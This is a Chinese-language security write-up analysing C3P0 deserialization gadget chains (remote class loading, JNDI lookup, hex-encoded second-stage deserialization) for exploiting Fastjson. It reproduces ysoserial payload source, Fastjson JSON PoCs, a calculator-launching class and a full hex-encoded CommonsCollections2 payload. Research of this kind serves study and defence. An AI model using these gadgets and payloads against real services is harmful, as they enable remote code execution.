Java安全之C3P0利用与分析

写在前面

很久以前就听nice0e3师傅说打Fastjson可以试试C3P0,当时还不会java(虽然现在也没会多少)也就没有深究。最近调试Fastjson的漏洞,又想到了这个点,就拿出来学习下。

C3P0 Gadget

C3P0中有三种利用方式

  • http base
  • JNDI
  • HEX序列化字节加载器

下面来一点点看他们究竟是怎样使用的。

先贴上ysoserial项目中C3P0 Gadget的源码:

package ysoserial.payloads;

import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger; import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection; import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; /**
*
*
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*
*/
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
} String url = command.substring(0, sep);
String className = command.substring(sep + 1); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
} private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className;
private String url; public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
} public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
} public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} } public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
} }

http base

可以本地起一个反序列化的环境,导入c3p0的依赖

<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

会导入下面两个jar

c3p0-0.9.5.2.jar

mchange-commons-java-0.2.11.jar

在ysoserial项目中直接测试下

public static void main ( final String[] args ) throws Exception {
// PayloadRunner.run(C3P0.class, args);
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:9010/:calc");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}

之后准备个弹计算器的类,编译成class,之后再起个http服务

import java.io.IOException;

public class calc {
static{
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}

C3P0.getObject()

先来正向调试下序列化的过程

先跟进看C3P0.getObject()前面是通过最后一个:拿到url和需要远程加载的className

之后通过反射创建了一个PoolBackedDataSource对象

接着反射设置PoolBackedDataSourceBase类中属性connectionPoolDataSourcePoolSource对象

Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));

实例化时会把urlclassName即我们远程地址和恶意类的类名赋值给PoolSource的属性

序列化

序列化时会调用com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()方法,但是会抛出异常进入catch部分

之后依然会调用writeObject方法

首先会先去indirector.indirectForm(this.connectionPoolDataSource),而this.connectionPoolDataSource的两个属性是我们的远程地址和恶意类类名

indirectForm方法逻辑如下:

 public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

首先调用我们传入对象的getReference方法,也即是PoolSource#getReference()该方法会实例化一个Reference对象

后面将生成的Reference对象作为参数传递进ReferenceIndirector.ReferenceSerialized,调用有参构造去实例化

反序列化

反序列化入口点应在PoolBackedDataSourceBase#readObject()处,我们下个断点跟进去

而在readObject()中会去调用ReferenceIndirector.ReferenceSerialized#getObject()方法,这里单步调试进不去,直接在getObject()方法内下断点F9跟进去。这里并没有调用lookup而是走到调用ReferenceableUtils.referenceToObject(),继续跟

通过URLClassLoader远程加载类造成远程代码执行

Class.forName()

在nice0e3师傅文章里看到的,这个点以前学反射的时候没深入跟,这里深入学习一下。

这里如果可以控制forName⽅法的第⼀个和第三个参数,并且第⼆个参数为 true,那么就可以利⽤BCEL, ClassLoader实现任意代码加载执⾏ 。

首先可以把关键代码抠出来

ClassLoader var6 = Thread.currentThread().getContextClassLoader();
String var4 = "calc";
URL var8 = new URL("http://127.0.0.1:9010");
var7 = new URLClassLoader(new URL[]{var8}, var6);
Class var12 = Class.forName(var4, true, (ClassLoader)var7);

调试下看看,进入Class.forName()后首先去看是否设置了SecurityManager没有的话则去调用forName0()

public static Class<?> forName(String name, boolean initialize,
ClassLoader loader)
throws ClassNotFoundException
{
if (loader == null) {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
ClassLoader ccl = ClassLoader.getCallerClassLoader();
if (ccl != null) {
sm.checkPermission(
SecurityConstants.GET_CLASSLOADER_PERMISSION);
}
}
}
return forName0(name, initialize, loader);
}

forName0()里是native代码,底层是C/C++实现,就跟不了了

private static native Class<?> forName0(String name, boolean initialize,
ClassLoader loader)
throws ClassNotFoundException;

官方文档说明:只有当 initialize参数是true并且之前没有被初始化时,类才会被初始化。

Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

这里其实在审计的时候也可以关注下forName()的参数是否可控,可控的话就可以通过初始化来触发代码执行

JNDI

利用姿势

以Fastjson为例

PoC

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}

调试分析

JNDI的话主要利用的是com.mchange.v2.c3p0.JndiRefForwardingDataSourceBase中的setjndiName()去设置我们远程ldap地址

最终走第二个if中this.pcs.firePropertyChange()方法

public void setJndiName(Object jndiName) throws PropertyVetoException {
Object oldVal = this.jndiName;
if (!this.eqOrBothNull(oldVal, jndiName)) {
this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);
} this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;
if (!this.eqOrBothNull(oldVal, jndiName)) {
this.pcs.firePropertyChange("jndiName", oldVal, jndiName);
} }

之后在解析到loginTimeout字段时会调用com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout()方法

public void setLoginTimeout(int seconds) throws SQLException {
this.inner().setLoginTimeout(seconds);
}

inner()中,跟入this.dereference()

private synchronized DataSource inner() throws SQLException {
if (this.cachedInner != null) {
return this.cachedInner;
} else {
DataSource out = this.dereference();
if (this.isCaching()) {
this.cachedInner = out;
} return out;
}
}

在其中触发了JNDI

先利用com.mchange.v2.c3p0.JndiRefDataSourceBase#setJndiName()设置远程ldap地址,之后通过com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout() ==> this.inner() ==> InitialContext.lookup()触发JNDI

Hex序列化字节加载器

利用姿势

这里其实就是常听到的就是用C3P0二次反序列化打Fastjson,因为像Fastjson和Jackson在反序列化时都会触发setter方法的执行,而C3P0中userOverridesAsString的setter会将HexAsciiSerializedMap开头的hex字符串进行解码再去触发Java原生的反序列化

PoC

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

先生成序列化payload,这里的payload注意是需要本地的另一条Gadget比如CC或者CB链,然后hex编码一下拼到PoC里

CC2

➜  target java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > calc.ser
    public static void main(String[] args) throws IOException, ClassNotFoundException {
System.out.println("hello");
InputStream in = new FileInputStream("/Users/sangfor/Downloads/ysoserial-master/target/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString); } public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
} public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
} sb.append(sTemp.toUpperCase());
}
return sb.toString();
}

Calc Hex String

ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007870000006A6CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572343835333735313638353139363001001F4C79736F73657269616C2F50776E657234383533373531363835313936303B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000036000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000003B000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D0000000600010000003F000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178

回显RCE,PoC参考safe6sec项目

Godzilla4 Memshell

调试分析

前面也提到了,主要是调用到userOverridesAsString的setter触发了反序列化,跟进去看一下

 this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

跟进listeners[current].vetoableChange(event);

之后进入WrapperConnectionPoolDataSource#setUpPropertyListeners()方法,其中调用了C3P0ImplUtils.parseUserOverridesAsString((String)val)去解析我们传入的HexString

private void setUpPropertyListeners() {
VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
String propName = evt.getPropertyName();
Object val = evt.getNewValue();
if ("connectionTesterClassName".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
} catch (Exception var6) {
if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " + val, var6);
} throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
} else if ("userOverridesAsString".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
} catch (Exception var5) {
if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, var5);
} throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
} }
};
this.addVetoableChangeListener(setConnectionTesterListener);
}

继续跟进,利用subString截取了HexAsciiSerializedMap之后的Hex编码字符串,交给ByteUtils.fromHexAscii(hexAscii)把Hex转成bytes数组,之后调用SerializableUtils.fromByteArray(serBytes)处理

调用了deserializeFromByteArray方法,之后进入Java原生的readObject()

Reference

https://www.cnblogs.com/nice0e3/p/15058285.html

http://redteam.today/2020/04/18/c3p0的三个gadget/

https://github.com/safe6Sec/Fastjson

Java安全之C3P0利用与分析的更多相关文章

  1. Java安全之C3P0链利用与分析

    Java安全之C3P0链利用与分析 0x00 前言 在一些比较极端情况下,C3P0链的使用还是挺频繁的. 0x01 利用方式 利用方式 在C3P0中有三种利用方式 http base JNDI HEX ...

  2. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  3. Java性能调优:利用JMC分析性能

    Java性能调优作为大型分布式系统提供高性能服务的必修课,其重要性不言而喻. 好的分析工具能起到事半功倍的效果,利用分析利器JMC.JFR,可以实现性能问题的准确定位. 本文主要阐述如何利用JMC分析 ...

  4. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  5. Linux下java进程CPU占用率高分析方法

    Linux下java进程CPU占用率高分析方法 在工作当中,肯定会遇到由代码所导致的高CPU耗用以及内存溢出的情况.这种情况发生时,我们怎么去找出原因并解决. 一般解决方法是通过top命令找出消耗资源 ...

  6. 左右c++与java中国的垃圾问题的分析与解决

    左右c++与java中国的垃圾问题的分析与解决 DionysosLai(906391500@qq.com)  2014/8/1 问题分析: 之所以会出现中文乱码问题,归根结底在于中文的编码与英文的编码 ...

  7. Java线程池ThreadPoolExecutor使用和分析(二) - execute()原理

    相关文章目录: Java线程池ThreadPoolExecutor使用和分析(一) Java线程池ThreadPoolExecutor使用和分析(二) - execute()原理 Java线程池Thr ...

  8. 死磕 java集合之ArrayDeque源码分析

    问题 (1)什么是双端队列? (2)ArrayDeque是怎么实现双端队列的? (3)ArrayDeque是线程安全的吗? (4)ArrayDeque是有界的吗? 简介 双端队列是一种特殊的队列,它的 ...

  9. Java Web文件上传原理分析(不借助开源fileupload上传jar包)

    Java Web文件上传原理分析(不借助开源fileupload上传jar包) 博客分类: Java Web   最近在面试IBM时,面试官突然问到:如果让你自己实现一个文件上传,你的代码要如何写,不 ...

随机推荐

  1. 【LeetCode】896. Monotonic Array 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...

  2. 【LeetCode】816. Ambiguous Coordinates 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.me/ 题目地址:https://leetcode.com/problems/ambiguous ...

  3. 【LeetCode】473. Matchsticks to Square 解题报告(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 回溯法 日期 题目地址:https://leetco ...

  4. Pikachu漏洞练习-SQL-inject(四)

  5. 一个网关服务性能问题的Dump分析

    本篇文章分为三部分,首先简单介绍一下分析的工具Windbg,其次针对一个网关服务性能问题进行逐步刨析,最后针对性能问题的分析总结. 一 Windbg介绍 1.Windbg是个非常强大的调试器,它设计了 ...

  6. python xlwt写Excel表

    1 xlwt第三方库 说明:xlwt是一个用于将数据和格式化信息写入并生成Excel文件的库. 注意:xlwt不支持写xlsx表,打开表文件报错. 官方文档:https://xlwt.readthed ...

  7. 【C++】关键字回忆leetcode题解

    20200515 前缀和 no.560 20200518 动态规划 no.152 20200520 状态压缩 no.1371 20200521 中心扩散 no.5 20200523 滑动窗口 no.7 ...

  8. libecc:一个可移植的椭圆曲线密码学库

    libecc:一个可移植的椭圆曲线密码学库 这段时间要写毕设关于椭圆曲线的部分,就参考了一个椭圆曲线库的代码来编写.这个库中的代码的结构.风格和封装在我看来是十分完善的.用起来也比较方便,当作一个密码 ...

  9. 数据结构作业——P53页算法设计题(7):原地逆转链表

    一. 题目描述: 设计一个算法,将链表中所有结点的链接方向"原地"逆转,即要求仅利用原表的存储空间,换句话说,要求算法的空间复杂度为O(1). 二.算法设计 #include< ...

  10. capstoneCS5213|HDMI转VGA带DAV模拟音频输出转换器|CS5213方案

    capstone CS5213是一款HDMI到VGA转换器结合了HDMI输入接口和模拟RGB DAC输出且带支持片上音频数模转换器.CS5213芯片设计简单,整体芯片尺寸精悍,外围电路集成优化度较高, ...